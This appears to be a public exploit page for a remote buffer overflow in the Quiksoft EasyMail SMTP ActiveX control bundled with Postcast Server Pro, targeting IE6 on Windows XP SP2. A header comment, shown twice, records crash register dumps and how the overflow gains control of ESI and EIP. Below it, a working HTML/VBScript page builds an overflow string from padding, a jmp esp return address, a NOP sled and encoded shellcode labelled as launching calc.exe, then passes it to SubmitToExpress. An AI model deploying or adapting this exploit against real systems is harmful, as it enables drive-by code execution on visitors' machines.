152 lines
No EOL
3.5 KiB
HTML
152 lines
No EOL
3.5 KiB
HTML
<!-- Postcast Server Pro 3.0.61 / Quiksoft EasyMail SMTP Object
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(emsmtp.dll 6.0.1)
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remote buffer overflow exploit
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(ie6 / xp sp2 version)
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passing more than 539 chars to SubmitToExpress method:
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EAX 00000400
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ECX 0013DD24 ASCII "Error Creating File: AAAA ...
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EDX C0403FFF
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EBX FFFFFFFF
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ESP 0013D5E4
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EBP 0013DD08
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ESI 41414141
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EDI 0013DD24 ASCII "Error Creating File: AAAA ...
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EIP 06986256 emsmtp.06986256
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...
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CMP DWORD PTR DS:[ESI+180],1
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Access violation when reading 414142C1
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seh overwrite follows:
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EAX 00000000
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ECX 41414141
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EDX 7C9137D8 ntdll.7C9137D8
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EBX 00000000
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ESP 0013D214
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EBP 0013D234
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<!-- Postcast Server Pro 3.0.61 / Quiksoft EasyMail SMTP Object
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(emsmtp.dll 6.0.1)
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remote buffer overflow exploit
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(ie6 / xp sp2 version)
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passing more than 539 chars to SubmitToExpress method:
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EAX 00000400
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ECX 0013DD24 ASCII "Error Creating File: AAAA ...
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EDX C0403FFF
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EBX FFFFFFFF
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ESP 0013D5E4
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EBP 0013DD08
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ESI 41414141
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EDI 0013DD24 ASCII "Error Creating File: AAAA ...
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EIP 06986256 emsmtp.06986256
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...
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CMP DWORD PTR DS:[ESI+180],1
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Access violation when reading 414142C1
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seh overwrite follows:
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EAX 00000000
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ECX 41414141
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EDX 7C9137D8 ntdll.7C9137D8
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EBX 00000000
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ESP 0013D214
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EBP 0013D234
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ESI 00000000
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EDI 00000000
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EIP 41414141
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and if we pass a readable address to ESI:
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A*539 + esi + A*99999
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we fall in a more convenient
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situation:
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EAX 00000000
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ECX 0013DF7C ASCII "AAAA...
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EDX 001835D0
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EBX 00000000
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ESP 0013DF68 ASCII "AAAA...
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EBP 41414141
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ESI 05542A08
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EDI 05586250 ASCII "AAAA...
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EIP 41414141
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Object safety report:
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RegKey Safe for Script: true
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RegKey Safe for Init: true
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vendor urls: http://www.postcastserver.com/
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http://www.quicksoftcorp.com/
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rgod.
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site: http://retrogod.altervista.org
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->
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<html>
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<object classid='clsid:68AC0D5F-0424-11D5-822F-00C04F6BA8D9'
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id='EasyMailSMTPObj' /></object>
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<script language='vbscript'>
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'open calc.exe
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scode =
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unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
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unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
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unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
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unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
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unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
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unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
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unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
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unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
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unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
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unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
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unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
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unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
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unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
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unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
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unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
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unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
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unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
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unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
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unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
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unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
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unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
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unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")
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esi = unescape("%01%01%01%01")
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ebp = "bbbb"
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nop = string(16,unescape("%90"))
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eip = unescape("%78%2c%41%7e") '0x7E412C78 jmp esp user32.dll
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bof = string(539,"A") + esi + ebp + eip + nop + scode
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EasyMailSMTPObj.SubmitToExpress bof
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</script>
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</html> |